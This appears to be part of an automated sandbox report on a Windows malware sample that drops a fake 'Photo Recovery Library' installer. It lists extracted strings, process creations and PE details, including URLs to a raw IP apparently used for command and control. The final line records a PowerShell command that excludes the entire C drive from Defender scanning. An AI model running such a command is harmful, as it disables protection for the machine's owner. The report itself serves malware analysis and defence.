Source: powershell.exe, 0000000F.00000002.1552405533.000002785CAC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000000A.00000002.1483393077.000002AE4A8C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1529410239.00000278543D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000F.00000002.1408831814.0000027844588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.1396249089.000002AE3AA79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1408831814.0000027844588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000A.00000002.1396249089.000002AE3A851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1408831814.0000027844361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1396249089.000002AE3AA79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1408831814.0000027844588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000F.00000002.1408831814.0000027844588000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svchost.exe, 00000003.00000002.1403301941.000001F079213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp, 0000000D.00000000.1330730018.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-PDB6I.tmp.13.dr	String found in binary or memory: http://www.innosetup.com/
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000002.2470583560.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, silk[1].exe.0.dr	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000002.2470583560.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, silk[1].exe.0.dr	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: powershell.exe, 0000000A.00000002.1510644374.000002AE52BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000003.1330018876.0000000002198000.00000004.00001000.00020000.00000000.sdmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000003.1329705673.00000000023C0000.00000004.00001000.00020000.00000000.sdmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp, 0000000D.00000000.1330730018.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-PDB6I.tmp.13.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000003.1330018876.0000000002198000.00000004.00001000.00020000.00000000.sdmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.exe, 0000000C.00000003.1329705673.00000000023C0000.00000004.00001000.00020000.00000000.sdmp, 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp, 0000000D.00000000.1330730018.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, is-PDB6I.tmp.13.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: powershell.exe, 0000000A.00000002.1511083420.000002AE52D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://.AppV.ources
Source: photorecoverylib59.exe, 0000000E.00000002.2471569006.0000000000BA2000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2472959823.0000000003406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://176.113.115.96/
Source: photorecoverylib59.exe, 0000000E.00000002.2472959823.0000000003406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://176.113.115.96/A
Source: photorecoverylib59.exe, 0000000E.00000002.2471569006.0000000000BA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://176.113.115.96/P
Source: photorecoverylib59.exe, 0000000E.00000002.2472959823.0000000003440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://176.113.115.96/ai/?key=8f3f2b3ae14615677411efa3231678fbb386926d19fe6595cd66946951e91fcd85250
Source: photorecoverylib59.exe, 0000000E.00000002.2471569006.0000000000BA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://176.113.115.96/ai/?key=8f3f2b3ae14615677411efa3231678fbb387926d19fe6595cd66946951e91fcd85250

Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		12_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045568C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		13_2_0045568C

Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_004037AC	0_2_004037AC
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00404970	0_2_00404970
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_004059E7	0_2_004059E7
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_0042AA30	0_2_0042AA30
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00411AC0	0_2_00411AC0
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_0042B370	0_2_0042B370
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00484B70	0_2_00484B70
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_004154E0	0_2_004154E0
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00419570	0_2_00419570
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00420D70	0_2_00420D70
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00482DE0	0_2_00482DE0
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_004016E0	0_2_004016E0
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00401E80	0_2_00401E80
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Code function: 0_2_00422760	0_2_00422760
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Code function: 2_2_00007FF88B4C5285	2_2_00007FF88B4C5285
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Code function: 2_2_00007FF88B4C16A5	2_2_00007FF88B4C16A5
Source: C:\Users\user\AppData\Local\Temp\GuardFox\873bfcef-4c55-422e-88ba-1a31e36a0f58.exe	Code function: 12_2_0040840C	12_2_0040840C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00470C74	13_2_00470C74
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0043533C	13_2_0043533C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004813C4	13_2_004813C4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00467848	13_2_00467848
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004303D0	13_2_004303D0
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0044453C	13_2_0044453C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004885E0	13_2_004885E0
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00434638	13_2_00434638
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00444AE4	13_2_00444AE4
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0048ED0C	13_2_0048ED0C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00430F5C	13_2_00430F5C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045F16C	13_2_0045F16C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004451DC	13_2_004451DC
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0045B21C	13_2_0045B21C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_004455E8	13_2_004455E8
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00487680	13_2_00487680
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0046989C	13_2_0046989C
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_00451A30	13_2_00451A30
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: 13_2_0043DDC4	13_2_0043DDC4
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_00401000	14_2_00401000
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_004067B7	14_2_004067B7
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_609300CC	14_2_609300CC
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_609660FA	14_2_609660FA
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6092114F	14_2_6092114F
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6091F2C9	14_2_6091F2C9
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6096923E	14_2_6096923E
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6093323D	14_2_6093323D
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6095C314	14_2_6095C314
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60950312	14_2_60950312
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6094D33B	14_2_6094D33B
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6093B368	14_2_6093B368
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6096748C	14_2_6096748C
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6093F42E	14_2_6093F42E
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60954470	14_2_60954470
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_609615FA	14_2_609615FA
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6096A5EE	14_2_6096A5EE
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6096D6A4	14_2_6096D6A4
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_609606A8	14_2_609606A8
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60932654	14_2_60932654
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60955665	14_2_60955665
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6094B7DB	14_2_6094B7DB
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60964807	14_2_60964807
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6094E9BC	14_2_6094E9BC
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60937929	14_2_60937929
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6093FAD6	14_2_6093FAD6
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6096DAE8	14_2_6096DAE8
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_6094DA3A	14_2_6094DA3A
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60936B27	14_2_60936B27
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60954CF6	14_2_60954CF6
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60950C6B	14_2_60950C6B
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60966DF1	14_2_60966DF1
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60963D35	14_2_60963D35
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60909E9C	14_2_60909E9C
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60951E86	14_2_60951E86
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60912E0B	14_2_60912E0B
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_60954FF8	14_2_60954FF8
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D4BAFD	14_2_02D4BAFD
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D52A80	14_2_02D52A80
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D4D32F	14_2_02D4D32F
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D470C0	14_2_02D470C0
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D3E089	14_2_02D3E089
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D5267D	14_2_02D5267D
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D4B609	14_2_02D4B609
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D4874A	14_2_02D4874A
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D4BF15	14_2_02D4BF15
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D50DB4	14_2_02D50DB4
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: 14_2_02D6D0A6	14_2_02D6D0A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF88AB253F2	15_2_00007FF88AB253F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FF88ABF2E11	15_2_00007FF88ABF2E11

Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: String function: 02D47760 appears 32 times
Source: C:\Users\user\AppData\Local\Photo Recovery Library 5.9\photorecoverylib59.exe	Code function: String function: 02D52A10 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00408C1C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00406AD4 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 0040596C appears 117 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00407904 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00403400 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00445E48 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00457FC4 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00457DB8 appears 102 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00434550 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00403494 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 004533B8 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00446118 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\is-DCS3V.tmp\873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp	Code function: String function: 00403684 appears 229 times

Source: dxRwXy19pq.exe	Static PE information: Resource name: RT_RCDATA type: DOS executable (COM)
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp.12.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: 873bfcef-4c55-422e-88ba-1a31e36a0f58.tmp.12.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: photorecoverylib59.exe.13.dr	Static PE information: Resource name: RT_INST type: PE32 executable (EFI application) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-PDB6I.tmp.13.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-PDB6I.tmp.13.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-PDB6I.tmp.13.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: PhotoRecoveryLib.exe.14.dr	Static PE information: Resource name: RT_INST type: PE32 executable (EFI application) Intel 80386 (stripped to external PDB), for MS Windows

Source: is-N40N4.tmp.13.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.14.dr	Static PE information: Number of sections : 19 > 10

Source: ded120f6-6c1d-18da-bc8d-0195720b2895.exe.0.dr	Static PE information: No import functions for PE file found
Source: 001[1].exe.0.dr	Static PE information: No import functions for PE file found

Source: dxRwXy19pq.exe	Binary or memory string: OriginalFilename vs dxRwXy19pq.exe
Source: dxRwXy19pq.exe, 00000000.00000002.1329439529.000000000066D000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename: vs dxRwXy19pq.exe
Source: dxRwXy19pq.exe, 00000000.00000000.1214950043.000000000066D000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename: vs dxRwXy19pq.exe
Source: dxRwXy19pq.exe	Binary or memory string: OriginalFilename: vs dxRwXy19pq.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7944:120:WilError_03

Source: photorecoverylib59.exe, photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: photorecoverylib59.exe, photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: photorecoverylib59.exe, photorecoverylib59.exe, 0000000E.00000003.1353263487.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp, photorecoverylib59.exe, 0000000E.00000002.2473544476.000000006096F000.00000002.00000001.01000000.00000012.sdmp, sqlite3.dll.14.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: unknown	Process created: C:\Users\user\Desktop\dxRwXy19pq.exe "C:\Users\user\Desktop\dxRwXy19pq.exe"
Source: C:\Users\user\Desktop\dxRwXy19pq.exe	Process created: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe "C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Users\user\AppData\Local\Temp\GuardFox\ded120f6-6c1d-18da-bc8d-0195720b2895.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
